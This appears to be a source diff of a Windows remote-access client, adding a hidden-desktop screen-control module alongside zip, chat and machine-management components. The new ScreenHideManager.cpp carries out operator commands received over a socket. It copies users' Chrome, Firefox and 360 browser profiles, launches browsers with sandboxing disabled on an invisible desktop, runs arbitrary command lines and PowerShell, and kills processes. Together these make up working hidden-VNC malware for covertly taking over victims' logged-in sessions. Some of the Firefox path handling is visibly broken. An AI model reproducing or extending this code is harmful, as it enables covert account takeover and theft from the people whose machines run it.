// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+21
View File
@@ -194,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +221,7 @@
<ClCompile Include="ScreenPreview.cpp" /> <ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" /> <ClCompile Include="SessionMonitor.c" />
@@ -225,6 +233,8 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -247,6 +257,13 @@
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" /> <ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -269,6 +286,7 @@
<ClInclude Include="ScreenPreview.h" /> <ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" /> <ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" /> <ClInclude Include="SessionMonitor.h" />
@@ -281,6 +299,9 @@
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" /> <ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+7 -2
View File
@@ -9,14 +9,19 @@
#define IDI_ICON2 105 #define IDI_ICON2 105
#define IDI_ICON_MSG 105 #define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
#define IDD_CHAT 106
#define IDC_EDIT_CHATLOG 1001
#define IDC_EDIT_NEWMSG 1002
#define IDC_BUTTON_SEND 1003
#define IDC_BUTTON_END 1004
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101
#endif #endif
#endif #endif
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
